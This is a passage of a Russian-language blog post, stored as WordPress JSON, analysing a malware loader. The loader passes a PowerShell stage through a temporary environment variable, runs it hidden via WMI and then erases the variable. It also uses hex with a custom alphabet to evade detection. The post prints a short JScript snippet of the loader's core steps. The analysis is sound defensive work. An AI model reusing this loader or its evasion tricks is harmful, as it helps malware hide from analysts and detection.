\u0441\u0430\u043c\u044b\u0435 \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044b.\u041d\u0430\u043f\u043e\u043c\u043d\u044e\u0418 \u0437\u0430\u0447\u0438\u0441\u0442\u043a\u0430. \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a WMI \u0432\u0435\u0440\u043d\u0443\u043b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u041a \u043c\u043e\u043c\u0435\u043d\u0442\u0443, \u043a\u043e\u0433\u0434\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043e\u0442\u043a\u0440\u043e\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b \u0438\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u0436\u0438\u0432\u0443\u044e, \u0435\u0451 \u0442\u0430\u043c \u0443\u0436\u0435 \u043d\u0435\u0442. \u041e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440 \u2014 \u0435\u0441\u043b\u0438 \u0442\u0430\u043a\u0430\u044f \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044f \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043c\u0438\u043c\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u0430\u0432\u0438\u043b: \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, \u0438 \u0432\u0441\u0451 \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u043d \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043c\u0435\u0441\u0442\u0435, \u043a\u0443\u0434\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0441\u043c\u043e\u0442\u0440\u0438\u0442.\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u0447\u0435\u0441\u0442\u043d\u0430\u044f \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0430\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442\u0412 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0435\u0441\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c. \u0410 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435. \u041e\u0431\u044a\u0435\u043a\u0442 Win32_ProcessStartup, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (\u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0437\u0430 \u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043e\u043a\u043d\u0430), \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0432\u044b\u0437\u043e\u0432 Win32_Process.Create \u043d\u0435 \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430 \u043c\u0435\u0442\u043e\u0434\u0430, \u2014 \u043e\u043d \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e. \u0427\u0442\u043e \u044d\u0442\u043e: \u043e\u0448\u0438\u0431\u043a\u0430 \u0430\u0432\u0442\u043e\u0440\u0430 \u0438\u043b\u0438 \u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u044e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0435 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u043e\u043c\u0443, \u043a\u0430\u043a WMI \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u2014 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0435 \u0441\u043a\u0430\u0437\u0430\u0442\u044c. \u041d\u0443\u0436\u0435\u043d \u0437\u0430\u043f\u0443\u0441\u043a \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \u041d\u0430 \u0441\u0430\u043c\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u0442\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442, \u043d\u043e \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u00ab\u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u00bb \u0438 \u00ab\u0432 \u0441\u0442\u0430\u0442\u0438\u043a\u0435 \u0432\u0438\u0434\u043d\u043e, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u00bb \u2014 \u044d\u0442\u043e \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f.\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043a\u043e\u0434:var shell = new ActiveXObject(«WScript.Shell»);var env   = shell.Environment(«USER»);                 \/\/ HKCU\\Environmentenv(«dSkogdAdfz») = dSkogfgdAFy;                       \/\/ stage 2 \u2192 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044fvar wmi   = GetObject(«winmgmts::root\\cimv2»);var si    = wmi.Get(«Win32ProcessStartup»).SpawnInstance_();si.ShowWindow = 0;                                     \/\/ SW_HIDEwmi.Get(«Win32_Proces»).Create(dSkoAdAF, si, new ActiveXObject(«ScriptingDictionary»));env.Remove(«dSkogdAFz»);                               \/\/ \u0437\u0430\u0447\u0438\u0441\u0442\u043a\u0430\u0418\u0442\u043e\u0433 \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u0444\u0430\u0439\u043b \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0442\u044b\u0441\u044f\u0447\u0430 \u0441\u0442\u0440\u043e\u043a \u0431\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0430 \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u044d\u0442\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u2014 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c, \u043f\u043e\u0434\u0447\u0438\u0441\u0442\u0438\u0442\u044c. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0448\u0443\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a. \u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u043d\u0435 JScript, \u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 JScript \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u043b \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\u0421\u043b\u043e\u0439 2. PowerShell, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c\u0415\u0441\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u2014 \u0430 \u044d\u0442\u043e, \u043d\u0430\u043f\u043e\u043c\u043d\u044e, \u043e\u043a\u043d\u043e \u0434\u043b\u0438\u043d\u043e\u0439 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434 \u2014 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0442\u044b\u0441\u044f\u0447 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 PowerShell. \u041d\u0435 Base64, \u043d\u0435 hex \u0432 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u043e\u043c \u0432\u0438\u0434\u0435, \u0430 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0435 \u043d\u0430 \u043c\u0435\u0448\u0430\u043d\u0438\u043d\u0443 \u0438\u0437 \u0431\u0443\u043a\u0432: fZFAYwSiJxzymLlj \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435, DYM9KF2x68ZT3cw \u0432 \u0434\u0440\u0443\u0433\u043e\u043c, \u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438 \u2014 \u0442\u0440\u0438 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0438\u0437 \u0431\u0443\u043a\u0432 \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u0430.\u041f\u0440\u0438 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442. \u042d\u0442\u043e hex. \u0421\u0430\u043c\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 hex, \u043d\u043e \u0441 \u0438\u0437\u044e\u043c\u0438\u043d\u043a\u043e\u0439: \u0443 \u043d\u0435\u0433\u043e \u0430\u043b\u0444\u0430\u0432\u0438\u0442 \u0437\u0430\u043c\u0435\u043d\u0451\u043d \u043d\u0430 \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439.\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 hex \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u044b 0\u20139 \u0438 a\u2013f \u2014 \u0432\u0441\u0435\u0433\u043e 16 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 \u0431\u0430\u0439\u0442\u0430. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u0432\u0437\u044f\u043b \u0442\u0443 \u0436\u0435 \u0438\u0434\u0435\u044e, \u043d\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438\u0437 16 \u0431\u0443\u043a\u0432: fZFAYwSiJxzymLlj. \u041f\u0435\u0440\u0432\u0430\u044f \u0431\u0443\u043a\u0432\u0430 \u2014 \u043d\u043e\u043b\u044c, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435 \u0434\u043e \u043f\u044f\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u043e\u0439. \u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438 \u044d\u0442\u043e \u0440\u043e\u0432\u043d\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 hex, \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0433\u043b\u0430\u0437\u0430\u043c\u0438 \u043d\u0435 \u0443\u0437\u043d\u0430\u0451\u0442\u0441\u044f. \u0421\u0442\u0440\u043e\u043a\u0430 fZ \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u043e\u043b\u044c, \u043e\u0434\u0438\u043d\u00bb \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0431\u0430\u0439\u0442\u0443 0x01 \u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u043d\u0430\u0434\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0434 \u0442\u043e\u0431\u043e\u0439 hex. \u041c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441, \u0430 \u043a\u0430\u043a \u0436\u0435 \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f? \u0410 \u0432\u043e\u0442 \u0442\u0443\u0442 \u0443\u0436\u0435 \u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0442\u0430 \u0441\u0430\u043c\u0430\u044f \u0440\u0443\u0442\u0438\u043d\u0430 \u0438 \u0441\u0435\u0440\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0447\u0443\u0436\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0431\u0438\u043d\u0430\u0440\u0435\u0439, \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438 \u043a\u043e\u0434\u0430. \u041c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0435\u0437\u0442\u0438 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0438 \u043d\u0435 \u043f\u043e\u0432\u0435\u0437\u0442\u0438 \u0438 \u0431\u0443\u0434\u0435\u0448\u044c \u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c\u0441\u044f \u0447\u0430\u0441\u0430 \u0442\u0440\u0438. \u0427\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u0442\u0435\u043c \u0432\u044b\u0448\u0435 \u0448\u0430\u043d\u0441 \u0447\u0442\u043e \u0442\u0435\u0431\u0435 \u00ab\u043f\u043e\u0432\u0435\u0437\u0435\u0442\u00bb \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430.\u041d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0437\u0430\u0447\u0435\u043c \u043d\u0443\u0436\u0435\u043d \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0444\u0430\u0432\u0438\u0442? \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0432\u0441\u0435 \u0442\u0430 \u0436\u0435: \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u044b \u043f\u043e \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430\u043c. \u041b\u044e\u0431\u043e\u0439 \u043c\u0430\u043b\u043e-\u043c\u0430\u043b\u044c\u0441\u043a\u0438 \u043f\u0440\u0438\u043b\u0438\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442-\u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u0437\u043d\u0430\u0435\u0442, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430. \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c 0\u20139a\u2013f \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0431\u0443\u043a\u0432\u044b \u2014 \u0438 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u0443 \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0440\u0430 \u0443\u0436\u0435…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-498499","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/498499","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=498499"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/498499\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=498499"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=498499"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=498499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}